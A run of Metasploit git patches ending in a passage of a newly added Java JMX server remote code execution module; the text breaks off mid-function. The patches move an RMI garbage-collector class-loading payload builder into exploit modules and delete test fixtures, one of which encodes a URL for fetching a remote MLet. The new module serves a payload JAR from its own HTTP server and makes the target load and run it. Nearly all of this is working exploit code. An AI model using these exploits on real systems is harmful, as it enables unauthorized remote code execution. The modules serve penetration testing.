Undo build_gc_call_data refactoring --- lib/msf/rmi/client/streams.rb | 69 ------------------- .../auxiliary/scanner/misc/java_rmi_server.rb | 62 +++++++++++++++++ .../exploits/multi/misc/java_rmi_server.rb | 62 +++++++++++++++++ spec/lib/msf/rmi/client/streams_spec.rb | 25 ------- 4 files changed, 124 insertions(+), 94 deletions(-) diff --git a/lib/msf/rmi/client/streams.rb b/lib/msf/rmi/client/streams.rb index 40dc748da5..0b5122e1c1 100644 --- a/lib/msf/rmi/client/streams.rb +++ b/lib/msf/rmi/client/streams.rb @@ -62,75 +62,6 @@ module Msf dgc_ack end - - # Builds a call data (serializated) stream) as used by Michael Schierl (@mihi42) - # to achieve arbitrary code execution through the RMI garbage collector loading - # arbitrary classes - # - # @param jar_url [String] the (URL) location pointing to the jar containing the - # metasploit.RMILoader. - # @return [Rex::Java::Serialization::Model::Stream] - def build_gc_call_data(jar_url) - stream = Rex::Java::Serialization::Model::Stream.new - - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" - block_data.length = block_data.contents.length - - stream.contents << block_data - - new_array_annotation = Rex::Java::Serialization::Model::Annotation.new - new_array_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - - new_array_super = Rex::Java::Serialization::Model::ClassDesc.new - new_array_super.description = Rex::Java::Serialization::Model::NullReference.new - - new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') - new_array_desc.serial_version = 0x871300b8d02c647e - new_array_desc.flags = 2 - new_array_desc.fields = [] - new_array_desc.class_annotation = new_array_annotation - new_array_desc.super_class = new_array_super - - array_desc = Rex::Java::Serialization::Model::ClassDesc.new - array_desc.description = new_array_desc - - new_array = Rex::Java::Serialization::Model::NewArray.new - new_array.type = 'java.rmi.server.ObjID;' - new_array.values = [] - new_array.array_description = array_desc - - stream.contents << new_array - stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") - - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') - new_class_desc.serial_version = 0xa16544ba26f9c2f4 - new_class_desc.flags = 2 - new_class_desc.fields = [] - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::Utf.new(nil, jar_url), - Rex::Java::Serialization::Model::EndBlockData.new - ] - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_object = Rex::Java::Serialization::Model::NewObject.new - new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - new_object.class_desc.description = new_class_desc - new_object.class_data = [] - - stream.contents << new_object - - stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") - - stream - end end end end diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 491f209ac5..c6b2a5f398 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -90,4 +90,66 @@ class Metasploit3 < Msf::Auxiliary false end + def build_gc_call_data(jar_url) + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_array_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + + new_array_super = Rex::Java::Serialization::Model::ClassDesc.new + new_array_super.description = Rex::Java::Serialization::Model::NullReference.new + + new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') + new_array_desc.serial_version = 0x871300b8d02c647e + new_array_desc.flags = 2 + new_array_desc.fields = [] + new_array_desc.class_annotation = new_array_annotation + new_array_desc.super_class = new_array_super + + array_desc = Rex::Java::Serialization::Model::ClassDesc.new + array_desc.description = new_array_desc + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.type = 'java.rmi.server.ObjID;' + new_array.values = [] + new_array.array_description = array_desc + + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') + new_class_desc.serial_version = 0xa16544ba26f9c2f4 + new_class_desc.flags = 2 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::Utf.new(nil, jar_url), + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + + stream + end + end diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index 811dcfc0f6..e49b00dc25 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -196,4 +196,66 @@ class Metasploit3 < Msf::Exploit::Remote false end + def build_gc_call_data(jar_url) + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_array_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + + new_array_super = Rex::Java::Serialization::Model::ClassDesc.new + new_array_super.description = Rex::Java::Serialization::Model::NullReference.new + + new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') + new_array_desc.serial_version = 0x871300b8d02c647e + new_array_desc.flags = 2 + new_array_desc.fields = [] + new_array_desc.class_annotation = new_array_annotation + new_array_desc.super_class = new_array_super + + array_desc = Rex::Java::Serialization::Model::ClassDesc.new + array_desc.description = new_array_desc + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.type = 'java.rmi.server.ObjID;' + new_array.values = [] + new_array.array_description = array_desc + + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') + new_class_desc.serial_version = 0xa16544ba26f9c2f4 + new_class_desc.flags = 2 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::Utf.new(nil, jar_url), + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + + stream + end + end diff --git a/spec/lib/msf/rmi/client/streams_spec.rb b/spec/lib/msf/rmi/client/streams_spec.rb index bf66cf61f6..bdbd930946 100644 --- a/spec/lib/msf/rmi/client/streams_spec.rb +++ b/spec/lib/msf/rmi/client/streams_spec.rb @@ -38,23 +38,6 @@ describe Msf::Rmi::Client::Streams do end let(:opts_dgc_ack) { "\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x04\x03\x02\x01" } - let(:file_jar) { 'file:RMIClassLoaderSecurityTest/test.jar' } - - let(:call_gc) do - "\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" + - "\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" + - "\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" + - "\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x52" + - "\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2\xf4" + - "\x02\x00\x00\x74\x00\x28\x66\x69\x6c\x65\x3a\x52\x4d\x49\x43\x6c" + - "\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x53\x65\x63\x75\x72\x69\x74" + - "\x79\x54\x65\x73\x74\x2f\x74\x65\x73\x74\x2e\x6a\x61\x72\x78\x70" + - "\x77\x01\x00" - end - describe "#build_header" do context "when no opts" do it "creates a Rex::Proto::Rmi::Model::OutputHeader" do @@ -120,13 +103,5 @@ describe Msf::Rmi::Client::Streams do end end end - - describe "#build_gc_call_data" do - context "when using test file: jar" do - it "creates a correct stream" do - expect(mod.build_gc_call_data(file_jar).encode).to eq(call_gc) - end - end - end end From 41fa54245607f5a439e873e32fbdf726e6ee1538 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 14 Jan 2015 16:51:12 -0600 Subject: [PATCH 040/103] Delete jmx invoke spec --- .../java/serialization/model/stream_spec.rb | 150 ------------------ 1 file changed, 150 deletions(-) diff --git a/spec/lib/rex/java/serialization/model/stream_spec.rb b/spec/lib/rex/java/serialization/model/stream_spec.rb index 717d501f49..2bfb0d9ab1 100644 --- a/spec/lib/rex/java/serialization/model/stream_spec.rb +++ b/spec/lib/rex/java/serialization/model/stream_spec.rb @@ -142,33 +142,6 @@ describe Rex::Java::Serialization::Model::Stream do "\x2c\x69\x64\x3d\x31\x78\x70" end - let(:mbean_invoke) do - "\xac\xed\x00\x05\x77\x22\xe3\xba\xbd\x14\xa0\x0e\x72\x74\x4a\x7d" + - "\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x2e\xff\xff\xff\xff" + - "\x13\xe7\xd6\x94\x17\xe5\xda\x20\x73\x72\x00\x1b\x6a\x61\x76\x61" + - "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + - "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + - "\x00\x00\x70\x78\x70\x74\x00\x17\x44\x65\x66\x61\x75\x6c\x74\x44" + - "\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70\x65\x3d\x4d\x4c\x65\x74\x78" + - "\x74\x00\x10\x67\x65\x74\x4d\x42\x65\x61\x6e\x73\x46\x72\x6f\x6d" + - "\x55\x52\x4c\x73\x72\x00\x19\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e" + - "\x4d\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x4f\x62\x6a\x65\x63\x74" + - "\x7c\xbd\x1e\x97\xed\x63\xfc\x3e\x02\x00\x03\x49\x00\x04\x68\x61" + - "\x73\x68\x5b\x00\x08\x6c\x6f\x63\x42\x79\x74\x65\x73\x74\x00\x02" + - "\x5b\x42\x5b\x00\x08\x6f\x62\x6a\x42\x79\x74\x65\x73\x71\x00\x7e" + - "\x00\x05\x70\x78\x70\x72\x69\x21\xc6\x70\x75\x72\x00\x02\x5b\x42" + - "\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00" + - "\x00\x4e\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + - "\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58" + - "\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00" + - "\x1f\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32\x2e\x31\x36\x2e\x31" + - "\x35\x38\x2e\x31\x33\x32\x3a\x34\x31\x34\x31\x2f\x6d\x6c\x65\x74" + - "\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e" + - "\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02" + - "\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61\x76\x61" + - "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x70" - end - let(:marshalled_argument) do "\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c" + "\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10" + @@ -420,129 +393,6 @@ describe Rex::Java::Serialization::Model::Stream do end end - context "when serializing a MBeanServerConnection.invoke call data" do - it "serializes the stream correctly" do - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = "\xe3\xba\xbd\x14\xa0\x0e\x72\x74\x4a\x7d\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x2e" - block_data.contents << "\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20" - block_data.length = block_data.contents.length - - stream.contents << block_data - - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName') - new_class_desc.serial_version = 0xf03a71beb6d15cf - new_class_desc.flags = 3 - new_class_desc.fields = [] - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_object = Rex::Java::Serialization::Model::NewObject.new - new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - new_object.class_desc.description = new_class_desc - new_object.class_data = [] - - stream.contents << new_object - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'DefaultDomain:type=MLet') - stream.contents << Rex::Java::Serialization::Model::EndBlockData.new - - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'getMBeansFromURL') - - marshall_object_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - marshall_object_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.rmi.MarshalledObject') - marshall_object_class_desc.serial_version = 0x7cbd1e97ed63fc3e - marshall_object_class_desc.flags = 2 - marshall_object_class_desc.fields = [ - Rex::Java::Serialization::Model::Field.new, - Rex::Java::Serialization::Model::Field.new, - Rex::Java::Serialization::Model::Field.new - ] - - marshall_object_class_desc.fields[0].type = 'int' - marshall_object_class_desc.fields[0].name = Rex::Java::Serialization::Model::Utf.new(nil, 'hash') - - marshall_object_class_desc.fields[1].type = 'array' - marshall_object_class_desc.fields[1].name = Rex::Java::Serialization::Model::Utf.new(nil, 'locBytes') - marshall_object_class_desc.fields[1].field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B') - - marshall_object_class_desc.fields[2].type = 'array' - marshall_object_class_desc.fields[2].name = Rex::Java::Serialization::Model::Utf.new(nil, 'objBytes') - marshall_object_class_desc.fields[2].field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B') - - marshall_object_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - marshall_object_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - marshall_object_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - marshall_object_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - - data_binary_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - data_binary_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[B') - data_binary_class_desc.serial_version = 0xacf317f8060854e0 - data_binary_class_desc.flags = 2 - data_binary_class_desc.fields = [] - data_binary_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - data_binary_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - data_binary_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - data_binary_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - data_binary = Rex::Java::Serialization::Model::NewArray.new - data_binary.array_description = Rex::Java::Serialization::Model::ClassDesc.new - data_binary.array_description.description = data_binary_class_desc - data_binary.type = 'byte' - # TODO: look into it - data_binary.values = [-84, -19, 0, 5, 117, 114, 0, 19, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 79, 98, 106, 101, 99, 116, 59, -112, -50, 88, -97, 16, 115, 41, 108, 2, 0, 0, 120, 112, 0, 0, 0, 1, 116, 0, 31, 104, 116, 116, 112, 58, 47, 47, 49, 55, 50, 46, 49, 54, 46, 49, 53, 56, 46, 49, 51, 50, 58, 52, 49, 52, 49, 47, 109, 108, 101, 116] - - marshall_object = Rex::Java::Serialization::Model::NewObject.new - marshall_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - marshall_object.class_desc.description = marshall_object_class_desc - marshall_object.class_data = [ - ["int", 1919492550], - Rex::Java::Serialization::Model::NullReference.new, - data_binary - ] - - stream.contents << marshall_object - - new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;') - new_array_class_desc.serial_version = 0xadd256e7e91d7b47 - new_array_class_desc.flags = 2 - new_array_class_desc.fields = [] - new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_array_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array = Rex::Java::Serialization::Model::NewArray.new - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_array_class_desc - new_array.type = 'java.lang.String;' - new_array.values = [ - Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String') - ] - - stream.contents << new_array - - stream.contents << Rex::Java::Serialization::Model::NullReference.new - - expect(stream.encode).to eq(mbean_invoke) - end - end - context "when serializing a marshalled argument" do it "serializes the stream correctly" do stream = Rex::Java::Serialization::Model::Stream.new From cab47871724641b1de4b12af88f4661a46bb66dc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Jan 2015 16:41:37 -0600 Subject: [PATCH 041/103] Add initial JMX module --- .../exploits/multi/misc/java_jmx_server.rb | 650 ++++++++++++++++++ 1 file changed, 650 insertions(+) create mode 100644 modules/exploits/multi/misc/java_jmx_server.rb diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb new file mode 100644 index 0000000000..c0e87310bd --- /dev/null +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -0,0 +1,650 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpServer + include Msf::Rmi::Client + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Java JMX Server Java Code Execution', + 'Description' => %q{ + TODO:complete + }, + 'Author' => + [ + 'Braden Thomas', # Attack vector discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'], + ['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi'] + ], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Privileged' => false, + 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'DefaultOptions' => + { + 'WfsDelay' => 10 + }, + 'Targets' => + [ + [ 'Generic (Java Payload)', {} ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 22 2013' + )) + + register_options([ + Opt::RPORT(1617), + ], self.class) + end + + def peer + "#{rhost}:#{rport}" + end + + def on_request_uri(cli, request) + if request.uri =~ /mlet$/ + jar = 'compromise.jar' + + mlet = "" + send_response(cli, mlet, + { + 'Content-Type' => 'application/octet-stream', + 'Pragma' => 'no-cache' + }) + elsif request.uri =~ /\.jar$/i + p = regenerate_payload(cli) + jar = p.encoded_jar + paths = [ + ["metasploit", "JMXPayloadMBean.class"], + ["metasploit", "JMXPayload.class"], + ] + jar.add_files(paths, [ Msf::Config.data_directory, "java" ]) + + send_response(cli, jar.pack, + { + 'Content-Type' => 'application/java-archive', + 'Pragma' => 'no-cache' + }) + + print_status("Replied to request for payload JAR") + end + end + + def exploit + mbean = get_mbean_server + + print_good("#{peer} - JMX MBean server endpoint found on #{mbean[:address]}:#{mbean[:port]}") + + server_sock = connect(false, { 'RPORT' => mbean[:address], 'RPORT' => mbean[:port] }) + + send_header(sock: server_sock) + ack = recv_protocol_ack(sock: server_sock) + if ack.nil? + print_error("#{peer} - Filed to negotiate RMI protocol") + disconnect + return + end + + print_status("#{peer} - Doing unknown call..") + + send_call(sock: server_sock, call_data: build_unknown_call(mbean[:id].chop)) + return_data = recv_return(sock: server_sock) + + if return_data.nil? + print_error("#{peer} - Failed to call unknown call") + disconnect + return + else + print_good("#{peer} - Got unknown answer =) ") + end + + conn_stub = extract_rmi_connection_stub(return_data) + #print_status("#{return_data}") + + print_status("#{peer} - Getting JMXPayload instance...") + my_stream = build_get_instance(conn_stub[:id].chop , 'MLetCompromise:name=jmxpayload,id=1') + send_call(sock: server_sock, call_data: my_stream) + return_data = recv_return(sock: server_sock) + + if return_data.nil? + fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed") + end + + answer = get_instance_answer(return_data) + + if answer.nil? + fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer") + end + + case answer + when 'javax.management.InstanceNotFoundException' + print_warning("#{peer} - JMXPayload instance not found, trying to load") + load_payload(server_sock, conn_stub) + when 'javax.management.ObjectInstance' + print_good("#{peer} - JMXPayload instance found, using it") + else + fail_with(Failure::Unknown, "#{peer} - getObjectInstance returned unexpected object #{answer}") + end + + print_status("#{peer} - Executing payload...") + my_stream = build_invoke( + conn_stub[:id].chop, + 'MLetCompromise:name=jmxpayload,id=1', + 'run', + {} + ) + send_call(sock: server_sock, call_data: my_stream) + + disconnect(server_sock) + disconnect + end + + def build_unknown_call(id) + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = id + "\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8" + block_data.length = block_data.contents.length + + stream.contents << block_data + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + stream + end + + def extract_rmi_connection_stub(stream) + stub = false + stub_index = 0 + stream.contents.each do |content| + if content.class == Rex::Java::Serialization::Model::NewObject && content.class_desc.description.class_name.contents == 'javax.management.remote.rmi.RMIConnectionImpl_Stub' + stub = true + break + end + stub_index = stub_index + 1 + end + + unless stub + return nil + end + + block_data = stream.contents[stub_index + 1] + data_io = StringIO.new(block_data.contents) + + ref_length = data_io.read(2) + unless ref_length && ref_length.length == 2 + return nil + end + ref_length = ref_length.unpack('n')[0] + + ref = data_io.read(ref_length) + unless ref && ref.length == ref_length && ref == 'UnicastRef' + return nil + end + + address_length = data_io.read(2) + unless address_length && address_length.length == 2 + return nil + end + address_length = address_length.unpack('n')[0] + + address = data_io.read(address_length) + unless address && address.length == address_length + return nil + end + + port = data_io.read(4) + unless port && port.length == 4 + return nil + end + port = port.unpack('N')[0] + + id = data_io.read + + { address: address, port: port, :id => id } + end + + def get_mbean_server + print_status("#{peer} - Sending RMI Header...") + connect + + send_header + ack = recv_protocol_ack + if ack.nil? + print_error("#{peer} - Filed to negotiate RMI protocol") + disconnect + return + end + + vprint_status("#{peer} - Sending JMXRMI discovery call...") + + send_call(call_data: build_discovery) + return_data = recv_return + + if return_data.nil? + fail_with("#{peer} - Failed to discover the JMX endpoint") + end + + print_status("#{peer} - Extracting MBean Server...") + + mbean_server = extract_mbean_server(return_data) + + if mbean_server.nil? + fail_with("#{peer} - Failed to extract the JMX MBean server endpoint") + end + + mbean_server + end + + def build_discovery + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + block_data.contents << "\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf" + block_data.length = block_data.contents.length + + stream.contents << block_data + + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi') + + stream + end + + def extract_mbean_server(stream) + my_block = false + stub = false + i = 0 + stub_index = 0 + stream.contents.each do |content| + if content.class == Rex::Java::Serialization::Model::BlockData && i == 0 + my_block = true + end + + if content.class == Rex::Java::Serialization::Model::NewObject && content.class_desc.description.class_name.contents == 'javax.management.remote.rmi.RMIServerImpl_Stub' + stub = true + stub_index = i + break + end + i = i + 1 + end + + unless my_block && stub + return nil + end + + my_block_id = stream.contents[0].contents[1..-1] + + block_data = stream.contents[stub_index + 1] + data_io = StringIO.new(block_data.contents) + + ref_length = data_io.read(2) + unless ref_length && ref_length.length == 2 + return nil + end + ref_length = ref_length.unpack('n')[0] + + ref = data_io.read(ref_length) + unless ref && ref.length == ref_length && ref == 'UnicastRef' + return nil + end + + address_length = data_io.read(2) + unless address_length && address_length.length == 2 + return nil + end + address_length = address_length.unpack('n')[0] + + address = data_io.read(address_length) + unless address && address.length == address_length + return nil + end + + port = data_io.read(4) + unless port && port.length == 4 + return nil + end + port = port.unpack('N')[0] + + id = data_io.read + + { address: address, port: port, id: id, my_id: my_block_id } + end + + def build_get_instance(id, name) + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = id + block_data.contents << "\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName') + new_class_desc.serial_version = 0xf03a71beb6d15cf + new_class_desc.flags = 3 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + stream + end + + def get_instance_answer(stream) + new_object = nil + + if stream.contents[1] + new_object = stream.contents[1] + else + print_error("#{peer} - getObjectInstance returned an incorrect answer") + return nil + end + + unless new_object.class == Rex::Java::Serialization::Model::NewObject + print_error("#{peer} - getObjectInstance didn't return a new object") + return nil + end + + new_object.class_desc.description.class_name.contents + end + + def build_create_instance(id, name) + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + #block_data.contents = "\x00" * 22 + block_data.contents << id + block_data.contents << 